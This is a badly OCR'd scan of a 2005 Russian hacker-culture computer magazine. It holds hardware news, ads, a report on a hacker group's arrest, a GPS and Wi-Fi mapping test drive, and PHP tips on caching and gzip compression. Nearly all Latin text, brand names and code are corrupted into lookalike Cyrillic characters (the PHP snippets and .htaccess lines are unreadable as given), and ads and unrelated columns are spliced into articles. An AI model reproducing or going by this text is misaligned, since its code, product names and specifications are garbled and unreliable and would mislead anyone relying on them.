по виду напоми- 
нает какой-то не- 
понятный ноутбук 
размером с КПК, 
была впервые по- 
казана на 

ѴѴогІсІ Сопдгезз. 

Ультратонкий (всего 15 мм!) коммуникатор, оборудованный 
большим экраном и 0\Л/ЕГ?ТѴ-клавиатурой, умеет отправлять 
сообщения ЗМЗ, ММ3, ІМ, е-таіі с вложениями, путешество- 
вать по интернету, запоминать контакты, записки, даты в ка- 
лендаре, использовать приложения Заѵа, в том числе для 
игр, а также связываться с другими устройствами по 
ВіиеІ'ооІМ. Но вот незадача: позвонить с такой девайсины не 
получится. Зато можно подключить ВІиеІооІІп-телефон и ис- 
пользовать его для выхода в интернет. К сожалению, \Л/ІРОО 
не содержит ѴѴІ-РІ модуля, так что повардрайвить тоже не по- 
лучится. Коммуникатор поставляется в четырех вариантах: 
Вазіс и Вазіс РІиз, Рго и Ехес. Как ожидается, первые три ва- 
рианта поступят в европейскую розницу осенью этого года, 
а Ехес — в первом квартале 2006-го, Все модели оснащены 
ОѴѴЕРТѴ-клавиатурой, основное отличие в том, что в версии 
Рго, помимо улучшенной функциональности, будет еще и воз- 
можность синхронизации с ПК, отсутствующая в Вазіс. 

Вот краткие технические характеристики ѴѴІРОО Ехес: 



Фехик&мпная прстзводиткльностъ, 
роскошная щ>мплеі^пация ' 

Бриллиантовый стандарт 
изделий серии ОіаліопсІ^^ 



сайтах в интерне- 
те появились со- 




Р4М ОіатопсІ 



пѴЮІА® 8Ь1 



Зоскеі 775 для процессоров Р4 ЕЕ, 
Р4 5хх,6хх и ЗтіІЬТіеІсІ 
Поддержка 4х ОиаІ 00^2 667 
Аппаратная поддержка аудио 
с помощью Сгеаііѵе ЗВ Ііѵе 24-ЬіІ 
Две гигабитные сетевые карты 
2х РСІ-Ех16(ЗЫ), 1х РСІ-Е х1, 2х РСІ 
АТХ форм фактор 






ШШё 



//л; 






Дисплей: 2,8", 320x240, 65536 цветовых оттенков 
Память: 16 Мб РАМ, 64 Мб флэш-памяти 
ЗМЗ, ММ3, РОРЗ, ІМАР4 и ЗМТР 




Синхронизация с Оиііоок, ЕхсОапде АсІіѵеЗупс и ЗупсМЕ 1.1 
Календарь (в стиле Оиііоок), ѴѴАР 2.0, НТМЕ/ХНТМЕ-браузер 
Поддержка форматов ѲІЕ, РМѲ, ЗРЕѲ/Моііоп ЗРЕѲ 
Заѵа МІОР2.0 

Размеры: 91x59x16 мм, вес составляет 1 13 г 

Время автономной работы: по заверениям производителя, 240 
часов в режиме ожидания и 180 минут в режиме работ 



ДВУХПРОЦЕССОРНАЯ 
МАТЬ ПОД ОРТЕВОМ 




О выпуске новой двухкристальной матери- 
нской платы ТОипсіег К83Е (32892) сообщила 
компания Туап, Вот основные специфика- 
ции устройства: 

Предназначена для работы с двумя про- 
цессорами АМО Оріегоп 200 серии, в том 

числе и двуядерными 

Системная логика: МѴІОІА пЕогсе Ргоіеззіопа! 



2200 -г АМО-8131 



До 16 Гб регистровой памяти ООР400/333/266 с поддержкой ЕСС 

(кода коррекции ошибок) и технологии СОІрКІІІ 

Интегрированный графический адаптер с 8 Мб памяти — то, что 

нужно для сервера :) 

Два порта СідаЫІ еІОегпеІ и один порт 10/100ВАЗЕ-Т 

Два разъема РСІ Ехргезз х16 (х16+х4) 

Встроенная поддержка Зегіаі АТА-ІІ (3 Гбит/с), МѴІРІА РАІР 

форм-фактор: Е-АТХ (305x331 мм) 




• Поддерживает процессоры Іпіеі® СеІегопО, 
Репііигп™ 4 5хх, бхх 

• Поддерживает два модуля 00(4 400 
Встроенная сетевая карта 10/100М 

• 5.1 канальное аудио 

• 1х РСІ-Е ХІ6, Зх РСІ 

• АТХ форм фактор 



ШШѢ 





• Мощный чипсет пѴІОІА® ОеРогсе 6600СТ 

• Новейший РСІ-Ехргезз интерфейс 

с ошеломительной скоростью передачи данных 
4 ГБ/с 

Движок пѴІОІА* СіпеРХ™ 3.0 обеспечивает полный 
комплекс эффектов кинематографического качества 
- Технология пѴЮІА® ІпІеІІізатрІе 3.0 обеспечивает 
плавное сглаживание и сверхреалистичное 
качество изображения 




Эксклюзивные предложения и расширенная техническая поддержка 
для членов ОіатопсІ клуба по адресу сІіатопсІСІиЬ.пізі.сопі.Іѵѵ 



М8І 



За дополнительной информацией обращайтесь на 





ісі-сззсги-дгіц 



Все вышеперечисленные функции опциональны для всех изделий М5І. 

МЗІ - зарегистрированная торговая марка компании Місго-ЗІаг ІпГІ Со., 
Спецификации могут изменяться без предварительного уведомления. 

Все зарегистрированные торговые марки являются собственностью своих владельцев. 
Любые конфигурации, отличные от оригинальных, не гарантированы. 









НАРОМЕѴѴЗЖ 



][МЕ\Л/3 ▼ 



БЮДЖЕТНЫЙ НОУТ 

Новый ноутбук ТгаѵеІ 
Ма+е 23 1 0 для бюд>кет- 
ного сегмента предс- 
тавила компания Асег. 

Желающие сэконо- 
мить теперь могут сде- 
лать это, используя 
установленный в но- 
винке процессор ІгтІ'еІ 
Сеіегоп М и чипсет 
5І5М661МХ с интегри- 
рованным видеоадап- 
тером (64 Мб памяти, 
поддержка МісгозоН" 

ОігесІХ 7.0 и одновре- 
менного отображения информации на двух дисплеях). Новинка обо- 
рудована 256 (по выбору доступны и 512 Мб) ООРЗЗЗ памяти, 15,4- 
дюймовым ЖК-дисплеем (1280x800), 40 Гб АТА/100 жестким диском и 
встроенным оптическим ОѴО/СО-РѴѴ СотЬо или ОѴО-ОиаІ приво- 
дом. Заявленное время автономной работы — чуть больше полутора 
часов. 

Помимо всего прочего, ТгаѵеІМаГе 2310 оборудован портами 
ОЗВ 2.0, интегрированным сетевым оборудованием (56К ІТО Ѵ.92 
модем -г Ю/ЮОВазе-Т), разъемом РС СагсІ (Туре II) и, пожеланию 
и количеству денег, ѴѴІ-П модулем ІЕЕЕ 802. 11Ь/д. В поставке с но- 
винкой идет специфичный Асеровский софт Асег еМападег, 
Асег ЕаипсТі Мападег, а также АсІоЬе АсгоЬаГ Реасіег, МогГоп 
АпГІѴІгиз, СуЬегЕІпк Ро\л/егОѴО и МТІ СО Макет. Да, если ты купишь 
такой ноут, то на нем уже будет установлена винда ХР. 




ХАКЕР ЗАНЯЛ 
ПЕРВОЕ МЕСТО 
НА КУБКЕ ^^ВАСЕ^^ 

у «Хакера» появился дополни- 
тельный повод для гордости: 
как оказалось, мы можем нау- 
чить тебя побеждать не только в 
конкурсах взломов. Буквально 
ме>кду делом и, можно сказать, 
играючи, журналист нашего из- 
дания занял первое место в 
спортивном заезде радиоуп- 
равляемых моделей автомоби- 
лей. 

Первый кубок ОигасеІІ по авто- 
модельному спорту среди жур- 
налистов проводился в клубе 
«Плазма-холл» в рамках пресс- 
конференции, посвященной 
презентации новых мощных ще- 
лочных батареек ОигасеІІ, 
которые обладают по сравне- 
нию с обычными батарейками 
улучшенными показателями 
мощности и энергоемкости. 

Как известно, потребительские 
качества элементов питания 
оцениваются по результатам 
тестов. В этот раз гоняли радио- 
управляемые машинки по имп- 
ровизированной трассе. Пять 
л заездов, полуфинал и, конечно, финал. 

° Мы можем похвастать первым местом и, соответственно, золотой 
К медалью. А завоевал его наш журналист Арсен Галстян. В целом 
§ у всех участников остались только положительные впечатления, а 
поскольку Кубок ОигасеІІ по автомодельному спорту планируется 
< сделать ежегодным событием — надеемся, что и в будущих заез- 
“ дах мы не сдадим наше лидерство без боя. 





С12 по 22 мая ІпГеІ совместно с компанией «М-Видео» представи- 
ли экспозицию под названием «Цифровая весна ІпГеІ 2005 — сто- 
лица России» в ТЦ «МЕГА Химки». На стенде корпорация ІпГеІ 
представила последние разработки в рамках своей концепции 
«Цифрового дома», а таіоке самые модные и технологичные ноут- 
буки таких крупнейших производителей, как ЕѲ ЕІесГгопІсз, Зопу, 
АзизГек, на базе новейшей технологии ІпГеІ СепГгІпо под названи- 
ем Зопота. 

Каждый посетитель имел возможность провести тест-драйв но- 
вейших ноутбуков на базе Зопота, а также получить коммента- 
рии квалифицированных консультантов по применению новых 
возможностей для домашних развлечений. 

Компания ЕѲ ЕІесГгопІсз представила на мероприятии новинку — 
универсальный широкоформатный ноутбук на базе Зопота ЕѴѴ60 
Ехргезз, создав наиболее обширную экспозицию на стенде. Же- 
лающие также могли вживую ощутить преимущества новой техно- 
логии многоканального звука, применяемой в новой линейке но- 
утбуков ЕО. 



МІЫІКЕТ ОТ 8АМ8иЫС 




Совсем недавно фирма Затзипд объявила о выпуске серии мно- 
гофункциональных устройств МІМІКЕТ, имеющих до 1 Гб встроен- 
ной флэш-памяти, на которую может быть записано до 68 минут 
видео в формате ОІѵХ (МРЕѲ-4) с разрешением 720x576 пиксе- 
лов. Как видим, разрешение видео такое же, как у ОѴО, однако 
битрейт в несколько раз ниже. Камеры МІМІКЕТ имеют ССО-мат- 
рицу объемом 800 тысяч пикселов и десятикратный трансфока- 
тор. Их вес без аккумулятора не превышает 150 г. Кроме видеосъ- 
емки устройства МІМІКЕТ предназначены для цифровой съемки с 
разрешением 640x480 пикселов, работы в качестве диктофона, 
МРЗ-плеера и накопителя данных, которые могут переноситься к 
компьютера на компьютер с помощью ЕІЗВ-кабеля. Предполагае- 
мая стоимость модели МІМІКЕТ ѴР-М1 103 — $600-650, 




НІТЕСНМЕѴѴЗ ▼ 



НАРОМЕѴѴЗ ▼ 



ПРИЮТ ХАКЕРА 

Сеть отелей «Хилтон» предста- 
вила номер будущего, напич- 
канный хай-тек гад>кетами. Кон- 
цепция ТесМпоІоду Роот соче- 
тает передовые достижения в 
индустриях развлечений, связи 
и расслабона. Постояльцев 
встречает сверхудобная умная 
кровать, расположенная под 
углом 45 градусов к окну, и гра- 
нитная столешница на рабо- 
чем месте. На стене — экран с 
диагональю 1,75 метра. Напротив — видеопроектор, подключен- 
ный к спутниковым каналам и видео по заказу. В прихожей наш- 
лось место для ІСО-дисплея РНІІІрз МігаѴізіоп, который одним на- 
жатием кнопки превращается в зеркало. В ванной комнате — еще 
одна ІСО-панель с технологией, предотвращающей парообра- 
зование. Домашний кинотеатр представлен системой Воозе с пя- 
тиканальным стереозвуком зиггоипсі, плеером НО ОѴО и АМ/РМ- 
тюнером. Встроенные колонки кубической формы выбраны под 
стать системе. Технология интеллектуальной калибровки звука 
АОАРТІО автоматически настраивает звук для комнаты любой кон- 
фигурации, конкретного размещения колонок и даже расположе- 
ния постояльца. Все настройки номера производятся с беспро- 
водного пульта АМХ ТоисН РапеІ. Он позволяет работать с техни- 
кой, регулировать интеллектуальную систему климат-контроля, 
закрывать и открывать жалюзи, выбирать освещение, просматри- 
вать изображение с камер безопасности у входной двери и узна- 
вать содержимое холодильника. В последний, кстати, встроена 
продвинутая кофеварка. Персональный сейф оборудован систе- 
мой биометрической защиты — сканером отпечатков пальцев. 
Первое время хай-тек номер «Хилтона» открыт для посещений по 
приглашениям. Но скоро его можно будет забронировать. 




красный экран 

СМЕРТИ 

СТРАШНЕЕ СИНЕГО 

Эмоции, которые вызывает появившийся 
на мониторе синий экран смерти, у раз- 
ных людей разные. Одни раздраженно 
' ' клацают ресет, другие в панике звонят в 

техсупорт, третьи падают замертво, сооб- 
разив, что это конец. Объединяет их одно 
. — все эти эмоции носят негативный отте- 

нок. Но если на тебя плохо влиял синий 
экран смерти, то красный экран станет 
твоим настоящим кошмаром. Такое но- 
вовведение будет присутствовать в новой 
версии винды ІопдТюгп. Синие экраны останутся — они по- 
прежнему будут извещать об ошибках и прочих негораздах на 
твоей машине. В то время как красный экран смерти станет 
признаком того, что ситуация хуже некуда. Чтобы вызвать крас- 
ный экран, нужно будет постараться. Специалист из Місгозоіі 
Майкл Кэплин долгое время экспериментировал с ошибками, 
пока не нарушил системный реестр и фон не налился кровавым 
цветом. Так что через год нас ждет еще один вид шизофрении — 
боязнь красного экрана. 



НАНОСПЕРМА 

Ученые Университета Макса Планка представили первый про- 
тотип наноспермы. Для этого они разгадали секрет динеина и 
кинезина — молекул-моторов, перемещающих грузы внутри 
клеток. Подражая головастикам, биомиметический транспорт 
умеет избегать пробок, выживать в нестандартных ситуациях и 
напролом идти к цели. В целом наука биомиметика изучает за- 
имствование у гениальной природы всевозможных техничес- 
ких идей. 



РУССКИЕ ХАКЕРЫ 
ВЛЯПАЛИСЬ 

Последние несколько месяцев МВД России совместно с ФБР и 
американским отделом по компьютерной безопасности про- 
водило крупную операцию по поимке группы русских хакеров. 
Как стало известно, за этими хакерами числится множество 
грешков, включая атаки на онлайновые казино, взлом кредит- 
ных карт, махинации с платежными системами и шантаж корпо- 
ративных сотрудников, В арсенале у группы находилась сеть из 
80 тысяч компьютеров-зомби, которые можно было использо- 
вать для проведения ЭоЗ-атак. Большую часть информации уда- 
лось выведать благодаря Баррету Лиону — специалисту по 
борьбе с кибертерроризмом, который был внедрен в хакерс- 
кую группу. Баррет обнаружил скрытый канал общения в хаке- 
рской программе, установленной на одном из компов-зомби. 
Через нее он вышел на закрытый 117С-канал, где тусили хакеры 
и откуда управляли своей обширной сетью. Наблюдение за ча- 
том велось долго, и на протяжении всего этого времени специ- 
алисты из ФБР составляли досье на каждого участника. Прав- 
да, хакеры были осторожны и не выдавали своего реального 
местоположения и личной информации. Арестовать их стало 
возможным после грубой ошибки лидера хактимы 21-летнего 
студента Ивана Максакова, который однажды забыл включить 
анонимайзер и зашел под реальным ІР. Сотрудники спецслужб 
быстро установили реальное местонахождение хакера и че- 
рез него вышли на остальных мемберов группы. Задержание 
такой серьезной тимы помогло выйти на несколько других по- 
добных банд, промышлявших интернет-мошенничеством и взло- 
мом. Несколько квалифицированных хакеров из России были 
арестованы всего пару недель назад. Теперь органам предс- 
тоит новая работенка — собрать в кучу всю информацию о де- 
ятельности хакгрупп. Как видно, милиция у нас не только диа- 
лап-воришек ловит. Случаи задержания крупных фигур проис- 
ходят редко, но они есть, и эта новость тому подтверждение. 
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ПОЙМАЙ, ЕСЛИ СМОЖЕШЬ! 

Разыгрываются 5 цветных лазерных принтеров! 



Сотни призов каждый месяц - 5 шансов на выигрыш 
Смотрите условия на специальных упаковках с эмблемой акции 

В каждой упаковке Оіді^ех с эмблемой 
ищите шанс выиграть один из тысячи 
фантастических призов - включая 
великолепный настольный цветной 
принтер ОКІ СЗЮО - каждый месяц! 

Чтобы стать претендентом, просто 
присоединяйтесь к нашему розыгрышу. 

Это элементарно! Помните - чем раньше 
начнёте, тем больше шансов на выигрыш. 

А играть Вы можете сколько угодно! 

С апреля по август 2005, мы дарим Вам 
5о1^’п’51гопд 1)5В Оіді^ех, МРЗ плееры, 
коврики для мыши и ещё много, много 
всего в наших захватывающих 
ежемесячных розыгрышах. 



Присоединяйтесь! Найдите одну из 
упаковок Оідііех с эмблемой - 
и Вы можете стать 




от визиток до баннеров 
длиной 1,2 метра! 





СМОТРИТЕ ПОДРОБНОСТИ АКЦИИ НА ѴѴѴѴѴѴ.ОІСІТЕХ.КО 
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ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОІО СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ [РЕКНиМ] НЬЮСЫ 
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ы, наверное, не раз видел в голливудских экшенах де- 
• Ш вайсы, на которых отображается местоположение ге- 
роя. Несколько лет назад простые люди даже не мо^^- 
ли мечтать о такой штуковине, а сейчас современные техноло- 
гии превратили сказку в реальность, и теперь любой пользова- 
тель, настроив специализированное оборудование, может^іп- 
ределить собственное местоположение. Для этого надо подк- 
лючить к своему КПК или ноутбуку незамысловатое у<?гройство 
и настроить необходилфій софт. Об этом я сейчас и расскажу. 
Оговорюсь сразу. Я не пользователь КПК, поэтому ОРЗ-модуль 
покупал для ноутбука. Хотя есть куча других устройств, созданных 
специально для КПК. Тестировал я все на своем ноуте Азиз 8200М. 
Сам ОРЗ взял от фирмы РІКАЫМЕ — ОРЗ РІКАЫМЕ 6010 — Х5 ОЗВ. 
На вид довольно невзрачное устройство, но, как оказалось, свое 
дело выполняет исправно. Также мне надо было выбрать прог- 
рамму для ОРЗ. Я остановил свой выбор на софтине под названи- 
ем АвтоГИС. Позже выяснилось, что программа неплохая, но нем- 
ного кривоватая. Не совсем точно определяет координаты — де- 



лает это с некоторым сдвигом на карте. 

Тест я решил произвести на своей машине — покататься по Москве 
и посмотреть, как она будет передвигаться на карте. В качестве до- 
полнительной миссии я хотел составить небольшую карту ѴѴІ-ЕІ точек. 
В этом мне помогла программа ЫеТ\л/огк ЗІитЫег. 



ХАКЕР 06 [78] РЕНРШМ 015 



[хакер 06 [78] 05 > 




СОМРАСТРІЛЗН 0Р8-ПРИЕМНИК Цаітмл ібго 

СТ Оие 1620 представляет собой модуль Сотрас+РІазІт ѲР5 с на- 
вигационными приложениями и подробной картографией, пред- 
назначенный для электронных записных книжек (РОА) на базе 
РоскеРРС. В данном модуле используется новая технология 
Ѳагтіп Оие, которая обеспечивает функции определения место- 
положения ОРЗ, навигации и электронной карты для КПК (карман- 
ных персональных компьютеров). 

^330 

СОМРАСТРІЛЗН ѲРЗ-ПРИЕМНИК-Нягсот- ‘Ш-,^о,зЗНЗН!Г 

Сотрас!" РІазМ ѲРЗ для РОА и ноутбуков. Складывается, возможна 
регулировка направления антенны для повышения качества приема. 

^45 

СОМРАСТРЛЗН ОРЗ-ПРИЕМНИК <КікжШп^ Ху 

Компактный и легкий 12-канальный беспроводной ѲРЗ-приемник, 
совмещенный с антенной. Он определяет ваше местоположение 
и через ВІиеІооІІі (1.1, СІазз 2) передает данные на мобильный те- 



лефон, карманный компьютер, смартфон — в общем, на любое 
устройство со встроенным или внешним средством связи 
ВІиеІооІ'Іі. Принимающее устройство при этом может находиться 
на расстоянии 10 метров от приемника. 

$300 

ѲРЗ-ПРИЕМНИК С ВШЕТООТН-ИНТЕРФЕЙСОМ 

^ІпЬіжІ ^аі, ^йГ-^о8 

ОРЗ-приемник с ВІие+ооЮ-интерфейсом и встроенной активной ан- 
тенной ВТ-308 обеспечивает отличное качество приема как в усло- 
виях плотной городской застройки, так и густом лесу. Приемник вы- 
полнен на базе высокопроизводительного и экономичного чипсе- 
та ЗІРР Зіаг ІІ/ІР, который поддерживает обновление позиции даже 
по одному спутнику. ВТ-308 отлично подойдет пользователям КПК, 
смартфонов, ТаЫеТ РС, ноутбуков и персональных компьютеров с 
ВІиеТооТО-модулем. Для устройств без ВТ также существуют приоб- 
ретаемые дополнительно адаптеры. 



[старт] ѲРЗ-модуль я закрепил на крыше машины при помощи 
липучки. Ноутбук положил себе на сиденье справа. Включаю 
ноут, запускаю программу АвтоГИС. Загрузка, пара секунд 
ожидания и... я обнаруживаю себя на экране :)). Очень при- 
ятное ощущение. Стрелка отображает меня на правильной 
улице. Начинаю движение. Стрелка исправно следует по 
одному маршруту со мной. Так я и катался, глядя то на доро- 
гу, то на ноут :). После нескольких часов я утомился. И вот ка- 
кие сделал для себя выводы. ѲРЗ — это, конечно, прикольно, 
но, по моим ощущениям, он не очень-то нужен в хорошо 
знакомом городе. По большому счету, это игрушка, которая 
стала доступна многим. Хотя можно представить ситуацию, 
когда ты нашел какой-то нужный магазин и, желая запомнить 
его расположение, отмечаешь его флагом на карте. А если 
ты не знаешь местности, то тебе достаточно отметить две 
точки — твое начальное и конечное расположение, и 
программа сама подберет оптимальный маршрут. Тебе 
останется следовать по красной линии на экране. 



[\л/і-й] Через несколько часов катания я решил перестать тупо 
глядеть в карту и попробовать интегрировать ѲРЗ с ѴѴІ-РІ. Для это- 
го я запустил МеТ\л/огк ЗІитЫег. Как это ни странно, но все сразу 
заработало. У меня на ноуте, как обычно, появились ѴѴІ-РІ точки, 
но теперь я видел расстояние до каждой из них. А также просто 
их координаты. Имхо, это очень полезная штука. Так, например, 
можно покататься по Москве по разным районам и составить 
карту ѴѴІ-РІ точек. Думаю, что некоторые этим уже вовсю занима- 
ются. Так что если вдруг ты тоже заморочишься подобным заня- 
тием и будешь составлять карту Москвы, то не стесняйся, присы- 
лай нам свои результаты :). А мы их выложим у себя на сайте, 
чтобы и другие увидели твой труд. 

[итог] Система ѲРЗ мне очень понравилась, но довольно быстро 
надоела, так как ее было негде применять. Единственное, где она 
реально может пригодиться, — как я уже говорил, при отмечании 
каких-то значимых точек или при составлении карты ѴѴІ-РІ, Так что 
выбор остается за тобой. Я уже попробовал... 
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В твоем мобильном 



Подключись к мобильному чату Бионлайн. 
Отправь кодовое слово 60 на номер 684 
и следуй полученным инструкциям* 




Билайн 



* Стоимость исходящего 5М5 на номер 684 равна стоимости обычного исходящего $М5 по вашему тарифному плану. 

Оборудование сертифицировано. Лицензии Госкомсвязи №№ 8758, 10005, 14707, 14708, 14709, 14710, 23706, 24303, 15130, 5331, 20385, 20732, 20733, 5860, 6038, 21719, 4879, 17951, 23072, 25340, 27744, 14783, 28884, 12096, 12050, 22671, 
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Степан Ильин ака 3+ер (з+ер@геа1. хакер. ги) 



Несколько приемов 
для хорошего веб-мастера 






[ускоряем РНР] Едва ли сегодня найдется человек, который бы ни- 
когда не слышал о РНР. Форумы, новостные ленты, системы уп- 
равления контентом в 90% случаев разработаны именно на этом 
замечательном языке. Зачастую это совсем непростые сцена- 
рии, которые занимают много строчек кода и предъявляют серь- 
езные требования к аппаратным ресурсам обслуживающего их 
компьютера. Все просто: чем мощнее сервер — тем шустрее вы- 
полняют свою работу скрипты. 

К сожалению, ресурсов веб-сервера иногда не хватает, и выполне- 
ние сценариев начинает тормозить. Вот тебе реальный пример: до- 
вольно известный хостинг-провайдер (не будем делать ему рекламу) 
решил подшутить над одним из посещаемых мною форумов, который 
работает под управлением известного скрипта Іпѵізіоп Ро\л/ег ВоагсІ 
(ѵѵѵѵѵ/.іпѵізіопЬоагсІ.сот). Он просто взял и безо всякого предупреж- 
дения установил смехотворную квоту на объем используемой опера- 
тивной памяти. Что в итоге? Админу пришлось долго ломать голову, по- 
чему форум резко начал затыкаться и работать просто отвратительно. 
Значительно увеличить производительность РНР-скриптов способны 
так называемые акселераторы. Один из них — РНР Ассеіега+ог 
(ѵѵт/ѵ.ріір-ассѳіѳгаіог.со.ик). По сути, это подключаемое к станда- 
ртному РНР-ядру дополнение, которое легко устанавливается и 
обеспечивает эффективное кэширование сценариев. За счет это- 
го, собственно, и происходит ускорение, причем весьма заметное. 
После кэширования конкретного скрипта компилятору больше не при- 
ходится заново просматривать его, производить грамматический раз- 
бор и искать синтаксические ошибки. Вдобавок к этому, зачастую от- 
падает необходимость заново выполнять операции выделения и осво- 
бождения памяти, а таіоке некоторые дисковые операции. Любому че- 
ловеку, даже далекому от программирования, должно быть ясно, что 
сценарии при таком раскладе выполняются значительно быстрее. 




[этот РНР-оценарий активизирует упаковку данных на лету] 



[упаковка на лету] Даже маленький ребенок знает, что такое ар- 
хиватор и почему упакованные файлы весят значительно меньше, 
чем неупакованные. Более продвинутый пользователь прекрас- 
но осознает, что текстовые файлы сжимаются лучше и быстрее, 
нежели, к примеру, МРЗ'шки, которые уже сжаты по другой тех- 
нологии, Понимаешь, к чему я клоню? Почему бы тогда не сжи- 
мать веб-сайты, ведь большая часть их содержимого представ- 
ляет собой обычный ріаіп 1'ех1', а значит, может быть эффективно 
сжата? Благодаря архивированию, пользователь не только быст- 
рее получит необходимую информацию, но еще и сэкономит до- 
рогостоящий трафик. 

Большинство сайтов действительно передаются посетителю без 
какой-либо компрессии. Однако они с не меньшим успехом мо- 
гут быть отданы и в сжатом виде. Такие страницы имеют в свом за- 
головке атрибут дг-епсоРесІ, который уведомляет браузер о том, 
что передача может осуществляться в виде архива. Попробуем 
этим воспользоваться. 

Возможности использования компрессии поддерживает язык РНР. 
Честь и хвала разработчикам, которые включили все необходи- 
мые для него функции по умолчанию. Чтобы производить компрес- 
сию на лету, нужно постоянно буферизировать передаваемые с 
сервера данные. Если окажется, что браузер пользователя может 
принимать упакованную информацию, то буфер сжимается и в та- 
ком виде передается пользователю. В противном случае данные 
отдаются как есть. 

Браузер очень просто сообщает о своей готовности принимать 
сжатые данные: для этого в своем запросе он передает специ- 
альный флаг дг-епсосіесі. Сервер, в свою очередь, таіоке должен 
подтвердить свою готовность к работе со сжатыми данными, возв- 
ратив флаг д2-епсос1ес1 обратно. 

На практике это реализуется следующим образом. Первым делом 
необходимо создать два вспомогательных файла. Первый — 
Ьедіп_д2Ір.рНр — указывает транслятору РНР необходимость бу- 
феризации и получения на выходе дг-сжатых данных: 



Но это еще не все! Прелесть ускорителя заключается еще и в том, 
что разработчику не приходится вносить в скрипты какие-либо 
коррективы или изменения. Достаточно просто установить в сис- 
тему РНР Ассеіегаіог', и он сразу начнет выполнять свои функции. 
Еще один немаловажный момент: кэширование никоим образом 
не повлияет на динамически обновляемый контент. Он будет отоб- 
ражаться ровно так же, как это было до установки акселератора. 
В настоящий момент существует несколько версий РНР 
Ассеіегаі'ог'а. Все они абсолютно бесплатны, но ориентированы 
на различные платформы: ВЗОІ, РгееВЗО, Ііпих, ОрепВЗО и Зоіагіз. 
Как ты заметил, \Л/іпсІо\л/з в этом списке нет, и едва ли она когда- 
либо появится. Оно и понятно: хостинг под управлением этой ОО 
ныне не в моде и вряд ли когда будет. Еще одна важная деталь: 
акселератор совместим исключительно с веб-сервером Арасіте 
(ѵѵтѵѵ.арасііе.сот). Бьюсь об заклад, что ты используешь имен- 
но его, ибо по-другому и не может быть :), 

Что касается установки РНР Ассеіегаі'ог'а, то проблем с ней 
возникнуть не должно. Для начала скачай дистрибутив под 
нужную тебе платформу и распакуй в папку /изг/іосаі/ІІЬ, В 
ней ты найдешь несколько файлов, среди которых обязатель- 
но будет р1тр_ассеІега1ог_1.3.3г2.зо — это главный модуль 
программы. Для того чтобы он заработал, его необходимо 
подключить к установленному РНР. Для этого открой файл 
рітр.іпі (конфигурационный файл РНР) и пропиши в нем полный 
путь к РНР Ассеіегаіог'у: 

2епсІ_ех1епзіоп = /путь/к/р1тр_ассеІега1ог_1 .3.З.зо> (в моем приме- 
ре — /изг/іосаі/ІІЬ). Все остальные опции несущественны, поэто- 
му разработчики рекомендуют оставлять их по умолчанию. 
Теперь, чтобы акселератор начал свою работу, остается только 
перезапустить Арасіте. 




<?р1тр 

оЬ_5ІаП(''оЬ_д2ІтапсІІег''); 

?> 

Второй файл — епсІ_д2Ір.р1ір — отдает команду на передачу содер- 
жимого буфера пользователю: 

<?р1ір 

оЬ_(Іи5Іт(); 

?> 

Поместив эти два файла в одну из папок веб-сервера, можно 
считать подготовительный этап законченным. Теперь необходи- 
мо подключить эти файлы в каждый РНР-скрипт, используя функ- 
цию іпсіисіе. Иными словами, в начало каждого файла нужно 
добавить іпсІисІе(7путь/к/файлу/Ьедіп_д2Ір.р1тр"), а в конец — 
Іпс1ис1е("/путь/к/файлу/епс1_д2ір.р1тр"). Г отово! 

Понятно, что в случае, когда сайт состоит из огромного ко- 
личества РНР-сценариев, подобное действие выполнить бу- 
дет очень сложно. Поэтому, чтобы избавиться от лишней 
возни, рекомендую тебе поступить по-другому. Ты уже на- 
верняка знаком с изумительными возможностями конфигу- 
рирования каталогов веб-сервера с помощью файлов 
.Массезз. Так вот, пришло время познакомить тебя с еще 
парой необычных директив, которые многие почему-то об- 
ходят стороной. Речь идет о директивах рТір_ѵаІие 
аи1о_ргерепсІ_1ІІе (подключить в начале) и рТір_ѵаІие 
аи1о_аррепсІ_1ІІе (подключить в конце). Каждая из них поз- 
воляет приконнектить дополнительные сценарии разом ко 
всем РНР-скриптам без необходимости вручную использо- 
вать функции іпсІисІеО или гедиігеО. Достаточно добавить в 
.Ітіассезз (предварительно создав его, если он отсутствует) 
две следующие строчки: 

рБр_ѵаІие аиіо_ргерепсІ_1ІІе /полный/путь/к/Ьедіп_д2Ір.р1ір 
рІтр_ѵаІие аиіо_аррепсІ_1ІІе /полный/путь/к/епсІ_д 2 Ір.р 1 ір 



[файл .Маооезз — великая сила!] 



ХАКЕР 06 [78] 05 > РС_20МЕ 




ХАКЕР 06 [78] 05 > 020 



[оптимизируем код] Нет ни одной программы, код которой нельзя 
сократить хотя бы на одну строчку. Любой хороший программист 
всегда тщательно вычищает свой код, убирает лишнее и макси- 
мально его сокращает, НТМІ-код веб-страницы — не исключение. 
Во время верстки своих веб-страниц пользователи очень часто 
применяют визуальные редакторы типа Ргопіраде или 
□геат\л/еаѵег. Их можно понять — так сварганить веб-пагу можно 
значительно быстрее, нежели набирая ее код самому. Да и осо- 
бых знаний языка НТМІ не требуется. 

Тем не менее, у этой простоты имеется и отрицательная сторона: 
код получившейся страницы, как правило, грязный, несвязный и 
очень часто неоптимизированный. Он изобилует лишними тэгами, 
пробелами, сложными и непонятными конструкциями. Хотя не бу- 
ду лукавить: подобные баги встречаются и в коде, написанном 
вручную. И их, естественно, необходимо исправлять. 

Для оптимизации документов НТМІ разработана масса программ. 
Производимые ими изменения, как правило, незначительны, но при 
большом количестве документов выигрыш получается очень суще- 
ственным. Одна из наиболее интересных программ этого плана — 
ѵ\/ЗсотріІег 1,12 (\л/\мА/.\л/ЗсотріІег.сот). 

Во время обработки НТМІ браузеры обычно игнорируют непра- 
вильные и противоречащие друг другу конструкции, исключают не- 
нужные пробелы и тэги. Другими словами, в этом мусоре нет ничего 
страшного, однако он передается пользователю, тратит лишнее 
время и трафик. Утилита \л/ЗсотрІіег занимается тем, что вычищает 
веб-документ, готовит его к публикации в вебе. 

Работать с программой очень просто. Ты указываешь папку с фай- 
лами веб-проекта, и она самостоятельно находит все, что может 
обработать. Если ты думаешь, что найденными файлами будут иск- 
лючительно НТМЕ'ки, то серьезно ошибаешься. Среди пациентов 
утилиты — ХНТМЕ, СЗЗ, ЗаѵаЗсгірТ, АЗР, СЕМ и РНР-сценарии. Быстро 
проанализировав код и сделав все необходимые изменения, 
\л/ЗсотріІег выложит в отдельную папку обработанные файлы и все 
остальные документы, связанные с твоим проектом, — изображе- 
ния, скрипты и т.п. Эта папка на 100% готова к публикации на веб- 
сервере. Просто закачивай ее РТР-клиентом — и все! 



